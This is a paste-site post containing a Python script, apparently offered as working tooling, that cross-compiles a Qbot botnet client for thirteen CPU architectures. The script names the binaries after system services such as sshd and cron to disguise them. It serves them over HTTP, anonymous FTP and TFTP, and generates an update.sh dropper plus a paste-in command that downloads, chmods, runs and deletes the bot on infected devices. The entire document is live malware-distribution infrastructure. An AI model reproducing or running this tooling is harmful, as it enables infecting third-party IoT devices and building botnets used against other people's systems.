KekSec icon

Working busybox qbot cc7.py (sets up tftp and ftp also)

KekSec | PRO | 08/05/18 02:44:09 AM UTC | 0 ⭐ | 1699 👁️ | Never ⏰ | []
Python |

5.29 KB

|

None

|

0 👍

/

0 👎

#Python auto cross compiler by void
 
import subprocess, sys
 
if len(sys.argv[2]) != 0:
    ip = sys.argv[2]
else:
    print("\x1b[0;31mIncorrect Usage!")
    print("\x1b[0;32mUsage: python " + sys.argv[0] + " <BOTNAME.C> <IPADDR> \x1b[0m")
    exit(1)
    
bot = sys.argv[1]
 
yourafag = raw_input("Get arch's? Y/n:")
if yourafag.lower() == "y":
    get_arch = True
else:
    get_arch = False
 
compileas = ["ntpd", #mips
             "sshd", #mipsel
             "openssh", #sh4
             "bash", #x86
             "tftp", #Armv6l
             "wget", #i686
             "cron", #ppc
             "ftp", #i586
             "pftp", #m68k
             "sh", #sparc
             "watchdog", #armv4
             "apache2", #armv5
             "telnetd"] #powerpc-440fp
 
getarch = ['http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2',
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2',
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2',
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2',
'http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2',
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2',
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2',
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2',
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2',
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2',
'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2',
'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2',
'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc-440fp.tar.bz2']
 
ccs = ["cross-compiler-mips",
       "cross-compiler-mipsel",
       "cross-compiler-sh4",
       "cross-compiler-x86_64",
       "cross-compiler-armv6l",
       "cross-compiler-i686",
       "cross-compiler-powerpc",
       "cross-compiler-i586",
       "cross-compiler-m68k",
       "cross-compiler-sparc",
       "cross-compiler-armv4l",
       "cross-compiler-armv5l",
       "cross-compiler-powerpc-440fp"]
 
def run(cmd):
    subprocess.call(cmd, shell=True)
 
if get_arch == True:
    run("rm -rf cross-compiler-*")
 
    print("Downloading Architectures")
 
    for arch in getarch:
        run("wget " + arch + " --no-check-certificate >> /dev/null")
        run("tar -xvf *tar.bz2")
        run("rm -rf *tar.bz2")
 
    print("Cross Compilers Downloaded...")
 
num = 0
for cc in ccs:
    arch = cc.split("-")[2]
    run("./"+cc+"/bin/"+arch+"-gcc -static -o " + compileas[num] + " " + bot)
    num += 1
 
print("Cross Compiling Done!")
print("Setting up your apache2 and tftp")
 
run("apt-get install apache2 -y")
run("service apache2 start")
run("apt-get install xinetd tftpd tftp -y")
run("apt-get install vsftpd -y")
run("service vsftpd start")
 
fh=open("/etc/xinetd.d/tftp", "w")
fh.write('''service tftp
{
protocol        = udp
port            = 69
socket_type     = dgram
wait            = yes
user            = nobody
server          = /usr/sbin/in.tftpd
server_args     = /tftpboot
disable         = no
}''')
fh.close()
 
run('mkdir /tftpboot')
 
fh=open("/etc/vsftpd.conf", "w")
fh.write('''listen=YES
local_enable=NO
anonymous_enable=YES
no_anon_password=YES
write_enable=NO
anon_root=/var/ftp
anon_max_rate=2048000
xferlog_enable=YES
listen_address='''+ ip +'''
listen_port=21''')
fh.close()
 
for i in compileas:
    run("cp " + i + " /var/www/html")
    run("cp " + i + " /var/ftp")
    run("cp " + i + " /tftpboot")
    run("mv " + i + " /var/lib/tftpboot")
 
i = "telnetd"
run("./cross-compiler-powerpc-440fp/bin/powerpc-440fp-gcc bot.c -static -o " + i)
run("cp " + i + " /var/www/html")
run("cp " + i + " /var/ftp")
run("cp " + i + " /tftpboot")
run("mv " + i + " /var/lib/tftpboot")
 
run('echo "#!/bin/sh" > /var/www/html/update.sh')
run('echo "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /" >> /var/www/html/update.sh')
 
for i in compileas:
    run('echo "wget http://' + ip + '/' + i + ' -O ' + i + '; busybox wget http://' + ip + '/' + i + ' -O ' + i + '; tftp -r ' + i + ' -g ' + ip + '; busybox tftp -r ' + i + ' -g ' + ip + '; chmod 777 ' + i + '; ./' + i + '; rm -rf ' + i + '" >> /var/www/html/update.sh')
 
run("cp /var/www/html/update.sh /var/ftp")
run("cp /var/www/html/update.sh /tftpboot")
run("cp /var/www/html/update.sh /var/lib/tftpboot")
 
run("chmod -R 777 /tftpboot")
run("chown -R nobody /tftpboot")
 
run("service xinetd restart")
run("/etc/init.d/xinetd restart")
run("service vsftpd restart")
run("/etc/init.d/vsftpd restart")
run("service lighttpd restart")
run("/etc/init.d/lighttpd restart")
 
print("\x1b[0;32mSuccessfully cross compiled!\x1b[0m")
print("\x1b[0;32m" + 'Your link: cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://' + ip + '/update.sh -O update.sh; busybox wget http://' + ip + '/update.sh -O update.sh; ftpget -v -u anonymous -p anonymous -P 21 ' + ip + ' update.sh update.sh; busybox ftpget -v -u anonymous -p anonymous -P 21 ' + ip + ' update.sh update.sh; chmod 777 update.sh; ./update.sh; rm -rf update.sh\x1b[0m')
print
print("\x1b[0;32mCoded By Freak\x1b[0m")

Comments

  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎